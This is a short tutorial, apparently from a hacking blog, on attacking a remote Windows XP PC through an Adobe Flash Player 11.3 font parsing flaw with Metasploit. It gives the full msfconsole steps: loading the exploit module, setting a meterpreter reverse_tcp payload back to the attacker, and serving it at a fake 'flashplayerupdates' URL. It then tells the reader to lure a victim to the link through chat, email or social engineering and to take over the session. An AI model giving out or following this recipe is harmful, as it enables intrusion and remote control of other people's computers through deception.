Attacking on Remote PC using Adobe Flash Player 11.3 Font Parsing Code Execution

This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF, it is possible to gain arbitrary remote code execution under the context of the user, as exploited in the wild.

Exploit Targets

Adobe Flash Player before 11.3.300.271.

Internet Explorer 6 on XP SP2

Internet Explorer 7 on XP SP2

Internet Explorer 8 on XP SP2

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP SP 2

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/adobe_flash_otf_font

msf exploit (adobe_flash_otf_font)>set payload windows/meterpreter/reverse_tcp

msf exploit (adobe_flash_otf_font)>set lhost 192.168.1.4 (IP of Local Host)

msf exploit (adobe_flash_otf_font)>set srvhost 192.168.1.4 (This must be an address on the local machine)

msf exploit (adobe_flash_otf_font)>set uripath flashplayerupdates (The Url to use for this exploit)

msf exploit (adobe_flash_otf_font)>exploit

Now an URL you should give to your victim http://192.168.1.4:8080/flashplayerupdates

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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